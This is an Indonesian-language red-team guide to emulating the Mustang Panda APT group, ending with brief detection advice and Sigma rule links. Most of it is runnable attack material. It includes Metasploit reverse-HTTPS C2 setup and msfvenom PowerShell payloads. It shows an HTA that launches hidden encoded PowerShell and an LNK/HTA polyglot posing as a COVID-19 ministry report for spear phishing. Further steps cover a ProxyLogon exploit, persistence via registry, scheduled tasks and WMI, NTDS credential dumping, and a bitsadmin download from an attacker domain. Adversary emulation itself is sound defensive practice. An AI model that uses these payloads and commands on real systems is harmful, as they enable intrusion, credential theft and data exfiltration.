Panduan Adversary Emulation APT Mustang Panda
Artikel ini akan menjelaskan bagaimana cara melakukan adversary emulation terhadap kelompok APT Mustang Panda dimulai dari perencanaan skenario, persiapan infrastruktur, pengembangan malware sampai tahapan post-exploitation. Termasuk juga bagaimana cara mencegah dan medeteksi aktivitas Mustang Panda.
Serangan siber di Indonesia sangat meningkat tajam terutama yang dilakukan oleh kelompok APT harus direspon serius, melihat berita akhir-akhir ini banyak kelompok APT yang manargetkan institusi pemerintah di Indonesia merupakan salah satu dampak dari konflik Laut China Selatan.
Advanced Persistent Threat (APT) adalah kelompok peretas yang disponsori oleh suatu negara dimana serangan yang dilakukan secara diam-diam tanpa terdeteksi untuk waktu yang lama. APT merupakan salah satu ancaman terbesar bagi suatu kawasan atau negara, serangan APT pada kawasan Asia Tenggara didominasi oleh APT yang berasal dari China.
Banyak tujuan dan motivasi yang dilakukan oleh kelompok APT diantaranya seperti :
- Mencuri kekayaan intelektual dan informasi lainnya.
- Melakukan spionase mencuri informasi rahasia negara dengan mengumpulkan data politik — ekonomi intelijen yang mungkin bermanfaat bagi pengambilan keputusan.
Berdasarkan informasi yang diperoleh dari website Threat Group Cards: A Threat Actor Encyclopedia milik ThaiCert, sebanyak 35 APT dan 4 kelompok yang tidak diketahui menargetkan Indonesia.
Dengan adanya ancaman APT ini organisasi perlu menguji kesiapan terhadap serangan siber melalui cara pengujian keamanan seperti Red Teaming atau Adersary Emulation yang mana lebih difokuskan untuk meningkatkan kemampuan dalam hal protection, detection dan response.
Pengenalan Adversary Emulation
Adversary emulation merupkan bagian dari pengujian red team dengan melakukan emulasi atau meniru spesifik kelompok ancaman yang diketahui menargetkan organisasi dengan memanfaatkan informasi threat intelligence untuk menentukan tindakan dan perilaku. Manfaat dari aktivitas adversary emulation ini organisasi dapat meningkatkan postur keamanan dan dapat mengantisipasi maupun mempertahankan serangan siber terhadap kelompok ancaman tertentu.
Threat intelligence merupakan informasi yang digunakan organisasi untuk memahami ancaman yang telah, akan, atau sedang menargetkan organisasi.
Untuk memulai adversary emulation perlu mencari kelompok ancaman yang tertarik dengan sektor atau industri terkait dengan mengumpulkan semua informasi intelijen sebanyak-banyaknya mengenai kelompok ancaman. Sumber informasi threat intelligence bisa diperoleh melalui :
- Laporan open source seperti Mandiant, DFIR Report, Microsoft Threat Intel, Anomali, Crowdstrike, Group-IB, Unit42, Kaspersky, Recorded Future, Cisco Talos.
- Feed berbayar pihak ketiga.
- Digital forensic dan incident response.
Threat Intelligence
Nama Kelompok : Mustang Panda (Crowdstrike)
Alias / Nama Lain Kelompok : Temp.Hex (Fireeye), HoneyMyte (Kaspersky), Red Lich (PWC), TA416 (Proofpoint) , BRONZE PRESIDENT (Secureworks), PKPLUG (Unit42)
Tujian : Spionase
Sektor Sasaran : Penerbangan, Telekomunikasi, Pemerintah, Lembaga Swadaya Masyarakat (LSM) dan Lembaga Penelitian.
Negara Sasaran : Indonesia Australia, Bangladesh, Belgium, Ethiopia, Germany, Hong Kong, India, Mongolia, Myanmar, Nepal, Pakistan, Singapore, South Korea, Taiwan, UK, UN, USA dan Vietnam.
Alat Yang Dipakai : Cobalt Strike, Poison Ivy, PlugX, ORat, RCSession, Nbtscan, Nmap, Wmiexec, TeamViewer, Powerview.ps1, China Chopper web shell
Mustang Panda adalah kelompok APT berbasis di China yang melakukan spionase pertama kali diamati pada tahun 2017 tetapi mungkin telah melakukan operasi setidaknya sejak tahun 2014. Menurut laporan Unit 42 Palo Alto aktivitas terakhir dari Mustang Panda memanfaatkan kerentanan Microsoft Exchange ProxyLogon untuk masuk ke dalam jaringan korban.
Referensi
- https://malpedia.caad.fkie.fraunhofer.de/actor/mustang_panda
- https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-dianxun-cyberespionage-campaign-targeting-telecommunication-companies/
- https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/
- https://www.secureworks.com/research/bronze-president-targets-ngos
- https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations
- https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong
- https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/
- https://unit42.paloaltonetworks.com/thor-plugx-variant/
- https://www.maldefense.com/crimsonias-mustang-panda-plugx-new-plugin.html
Menjalankan Adversary Emulation
Skenario yang dibuat berdasarkan dari laporan threat intelligence memiliki keterbatasan tidak semua TTP yang dilakukan oleh APT dilaporakan atau terekspos. Aktivitas adversary emulation ini dibagi menjadi 2 skenario :
- Skenario 1 akses awal masuk melalui spear phishing.
- Skenario 2 akses awal masuk dengan melakukan eksploitasi kerentanan Proxyshell pada Microsoft Exchange.
Membuat Skenario
Setelah semua informasi threat intelligence dikumpulkan selanjutnya mengekstrak informasi Taktik, Teknik dan Prosedur (TTP) dan memulai membuat skenario perencanaan adversary emulation.
Untuk mengetahui Mitre ATT&CK ID pada setiap perintah yang dijalankan oleh kelompok ancaman bisa dengan cara mencarinya langsung di website Mitre ATT&CK.
Melakukan pemetaan TTP ke dalam Mitre ATT&CK menggunakan ATT&CK Navigator :
Persiapan Alat & Infrastruktur
Pada tahap ini red team mempersiapkan custom malware yang sama digunakan oleh kelompok ancaman dan infrastruktur yang dipakai dengan membeli minimal 1 VPS dan 1 domain yang akan digunakan selama aktivitas adversary emulation.
- Metasploit — https://github.com/rapid7/metasploit-framework/
- Nmap — https://nmap.org/download.html
- NBTScan — http://www.unixwiz.net/tools/nbtscan.html
- wmiexec.vbs — https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs
- mklnk — https://github.com/blacklanternsecurity/mklnk
- Rar — https://www.win-rar.com/download.html
Download dan install metasploit :
sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
sudo chmod +x msfinstall
sudo ./msfinstall
Install Letsencrypt certbot :
apt install certbot -y
Buat sertifikat baru menggunakan certbot :
sudo certbot certonly --non-interactive --quiet --register-unsafely-without-email --agree-tos -a webroot --webroot-path=/var/www/html -d <NAMA DOMAIN>
Menggabungkan sertifikat LetsEncrypt dan private key :
sudo cat /etc/letsencrypt/live/<NAMA DOMAIN>/privkey.pem /etc/letsencrypt/live/<NAMA DOMAIN>/fullchain.pem > /etc/ssl/unified.pem
Jalankan msfconsole, setiap aktivitas red team wajib di log termasuk informasi jam, tanggal, ip address, dan perintah yang dijalankan.
setg prompt [%T] %L (s:%S j:%J)
set SessionLogging true
spool /path/msf.log
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set SSLCERT /etc/ssl/unified.pem
set HANDLERSSLCERT /etc/ssl/unified.pem
set StagerVerifySSLCert true
set LPORT 443
set LHOST domain.com
exploit -z -J -j
Skenario 1
Weaponization
InstallUtil
Mitre ATT&CK ID : T1218.004 — Signed Binary Proxy Execution: InstallUtil
Mustang Panda menggunakan InstallUtil untuk mengeksekusi beacon.
use evasion/windows/applocker_evasion_install_util
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST domain.com
set LPORT 443
run
Melalui windows dan compile source code installutil payload :
C:\Windows\Microsoft.Net\Framework64\v4.0.3019\csc.exe /out:tmp_FlVnNI.dat install_util.txt
PowerShell
Mitre ATT&CK ID : T1059.001 — Command and Scripting Interpreter: PowerShell
Mustang Panda menggunakan malicious powershell untuk terhubung ke C2.
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=domain.com LPORT=443 -f psh-cmd
LNK HTA Polyglot
Mitre ATT&CK ID :
- T1218.005 — Signed Binary Proxy Execution: Mshta
- T1547.009 — Boot or Logon Autostart Execution: Shortcut Modification
- T1036.007 — Masquerading: Double File Extension
Mustang Panda menggunakan teknik LNK HTA Polyglot dengan menyisipkan file HTA ke dalam file LNK (Windows Shortcut).
Membuat file HTA baru bernama payload.hta didalam HTA terdapat vbscript yang akan menjalankan powershell script dengan memanfaatkan WMI Win32_Process.
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
<script language="VBScript">
Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
Set objServices = objSWbemLocator.ConnectServer(".", "\root\cimv2")
set objProcess = objServices.Get("Win32_Process")
objProcess.Create("cmd.exe /c powershell.exe -nop -w hidden -e <PASTE_BASE64>")
self.close
</script>
</head>
<body>
</body>
</html>
Dari informasi sample malware lnk diatas salin command line yang menjalankan HTA. Membuat windows shortcut menggunakan alat open source mklnk.
python2 lnk.py kemkes_laporan_covid19.doc.lnk c:/windows/system32/cmd.exe -w "%cd%" -a "/c for %x in (%temp%=%cd%) do for /f \"delims==\" %i in ('dir \"%x\kemkes_laporan_covid19.doc.lnk\" /s /b') do start m%windir:~-1,1%hta.exe \"%i\""
Terakhir, menyisipkan file hta ke dalam lnk dengan menggunakan perintah :
cat payload.hta >> kemkes_laporan_covid19.doc.lnk
Initial Access
Mitre ATT&CK ID : T1566.002 — Phishing: Spearphishing Link
Mustang Panda melakukan akses awal dengan mengirimkan sprear phishing berbentuk dokumen zip yang berisi LNK.
zip kemkes_laporan_covid19.doc.lnk kemkes_laporan_covid19.zip
Discovery / Internal Reconnaissance
Mitre ATT&CK ID :
- T1016 — System Network Configuration Discovery
- T1046 — Network Service Scanning
- T1082 — System Information Discovery
- T1057 — Process Discovery
Mustang panda menggunakan perintah berikut ini untuk mengumpulkan informasi konfigurasi didalam jaringan :
ipconfig
arp
systeminfo
netstat -ano
Mustang Panda menggunakan nbtscan yang menyamar sebagai program adobe.exe untuk melakukan netbios scanning :
Adobe.exe X.X.X.X/24
Mustang Panda menggunakan nmap.exe untuk melakukan port scanning pada port 445 :
nmap.exe -sT -p 445 X.X.X.X
Mustang Panda menggunakan perintah tasklist untuk mengetahui daftar proses aktif saat ini :
tasklist /v
Defense Evasion
Mitre ATT&CK ID :
- T1036.005 — Masquerading: Match Legitimate Name or Location
- T1562.001 — Impair Defenses: Disable or Modify Tools
Mustang panda mengganti nama binary dan lokasi untuk melewati deteksi :
copy C:\Windows\System32\schtasks.exe %temp%\wtask.exe
copy C:\Windows\System32\wscript.exe %temp%\winwsh.exe
copy C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe C:\Windows\InstallUtil.exe
Mustang panda mengakhiri proses lokal dan remote mengunakan taskkill :
taskkill /im svchosts.exe /F
taskkill /S <SERVER_TARGET> /U <USERNAME> /P <PASSWORD> /im svchost.exe
Persistence
Mitre ATT&CK ID :
- T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
- T1053.005 — Scheduled Task/Job: Scheduled Task
- T1546.003 — Event Triggered Execution: Windows Management Instrumentation Event Subscription
Mustang Panda melakukan registry persistence dengan nama run key AdobelmdyU :
use exploits/windows/local/registry_persistence
set STARTUP USER
set RUN_NAME AdobelmdyU
set SESSION X
exploit -j
Mustang Panda melakukan schedule task persistence dengan nama Security Script kb0855787 yang mengeksekusi program wscript dan installutil :
%temp%\schtasks.exe /create /sc minute /mo 3 /tn "Security Script kb0855787" /tr "%temp%\winwsh.exe //Nologo //E:vbscript //B %temp%\Win976536.txt"%temp%\schtasks.exe /create /sc minute /mo 3 /tn "Security Script kb0855787" /tr "C:\Windows\InstallUtil.exe /logfile= /LogToConsole=false /U C:\windows\debug\tmp_FlVnNI.dat"
Mustang Panda melakukan wmi persistence menggunakan tool ORAT :
use exploit/windows/local/wmi_persistence
set SESSION X
set CALLBACK_INTERVAL 60000
set USERNAME_TRIGGER XXXX
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST X.X.X.X
set LPORT 443
exploit -j
Lateral Movement
Mitre ATT&CK ID :
- T1047 — Windows Management Instrumentation
- T1059.005 — Command and Scripting Interpreter: Visual Basic
Mustang panda melakukan lateral movement menggunakan wmiexec.vbs :
cscript wmiexec.vbs /cmd X.X.X.X ipconfig
Credential Dumping
Mitre ATT&CK ID : T1003.003 — OS Credential Dumping: NTDS
Mustang Panda melakukan credential dumping NTDS menggunakan vssadmin :
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\windows\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\windows\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\windows\temp\
Collection
Mitre ATT&CK ID : T1560.001 — Archive Collected Data: Archive via Utility
Mustang panda mengkompres dan menggumpulkan dokumen dengan ekstensi doc, xls, pdf menggunakan rar :
rar.exe a -r -ed -m3 -dh -tk -hpabcdefg1337 -v100m -ta20220111000000 -n*.doc* -n*.xls* -n*.pdf C:\windows\temp\data.rar C:\
Skenario 2
Weaponization
DLL Side Loading
Mitre ATT&CK : T1574.002 — Hijack Execution Flow: DLL Side-Loading
Mustang Panda konsisten menggunakan teknik DLL Side Loading dalam setiap kampanye. Pada kampanye terbaru yang dilaporkan oleh Unit42 Palo Alto, Mustang Panda menggunakan software Aro.exe untuk melakukan DLL Side Loading, sample malware dapat di download melalui any.run.
Software Aro.exe rentan terhadap dll hijacking, ketika software aro.exe dijalankan akan memuat file Aross.dll dengan DLL export DisplayAROTutorial.
Membuat simple program dll dengan dll export DisplayAROTutorial yang akan menjalankan calculator.
#include <windows.h>extern "C" __declspec(dllexport) DWORD DisplayAROTutorial(DWORD dwNetshVersion, PVOID pReserved)
{
system ("start calc");
return 0;
}
Compile source code menggunakan mingw :
i686-w64-mingw32-g++ aross.cpp -shared -static-libgcc -static-libstdc++ -o aross.dll
Initial Access
Mitre ATT&CK : T1190 — Exploit Public-Facing Application
Mustang panda melakaukan eksploitasi pada Microsoft Exchange memanfatkan proxylogon vulnerability.
use exploit/windows/http/exchange_proxylogon_rce
set RHOSTS mail.target.com
set EMAIL user@target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST X.X.X.X
exploit -j
Defense Evasion
Mitre ATT&CK : T1197 — BITS Jobs
Mustang Panda menggunakan bitsadmin untuk mendownload malware yang menjalankan DLL Side Loading.
bitsadmin /transfer redteam http://domain.com/aro.dat C:\\Windows\\temp\\aro.dat > C:\inetpub\wwwroot\aspnet_client\1.txt
Deteksi dan Mitigasi
Setelah mengetahui TTP yang digunakan oleh Mustang Panda dapat dengan mudah untuk mendeteksi dan memitigasi teknik yang digunakan, berikut ini rekomendasi yang disarankan sebagai pencegahan dari APT Mustang Panda :
- Selalu memperbarui antivirus dan melakukan pemindaian antivirus secara otomatis dan rutin setiap hari.
- Melarang koneksi web langsung ke internet tanpa melalui proxy yang diautentikasi.
- Memindai semua email masuk dan keluar untuk mendeteksi ancaman dan memfilter file yang dapat dieksekusi.
- Membatasi dan melarang program tertentu berjalan seperti powershell, installutil, bitsadmin, cmd, dan mshta menggunakan application whitelisting seperti AppLocker atau Windows Defender Application Control.
- Selalu memperbarui signature pada IDS/IPS.
- Melakukan update dan patching terhadap perangkat dan aplikasi seperti Sistem Operasi, Aplikasi/Software, Firmware dan Browser.
- Menerapakan Administrative Tier Model yang bertujuan untuk membantu organisasi mendapatkan lingkungan yang lebih aman. Tier Model mendefinisikan tiga tingkatan untuk memisahkan antara workstation dan asset-aset yang berharga seperti domain controller atau file server.
- Menggunakan teknologi Endpoint Detection and Response (EDR) memungkinkan pemantauan komprehensif terus-menerus terhadap aktivitas endpoint secara real time, analisis mendalam tentang proses mencurigakan dan respon langsung terhadap insiden dan pelanggaran.
Sulit untuk mendeteksi adanya aktivitas APT jika tidak tersedia visiblity yang baik, berikut ini event log yang perlu diaktifkan dan di forward ke dalam SIEM :
- Microsoft Systems Monitor (Sysmon)
- PowerShell Module, Script Block, and Transcription Logging
- Account modifications, account logon, account lockout
- Process tracking (Event id 4688)
- AppLocker
- Windows Defender
- Object access auditing
- Scheduled tasks
Sigma Rules
Berikut ini sigma rules yang bermanfaat untuk mendeteksi aktivitas Mustang Panda :
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry_event/sysmon_win_reg_persistence.yml
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/image_load/sysmon_wmi_module_load.yml
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_powershell_enc_cmd.yml
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_wmi_persistence_script_event_consumer.yml
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_possible_applocker_bypass.yml
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_apt_mustangpanda.yml
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_ntdsutil.yml
- https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_process_creation_bitsadmin_download.yml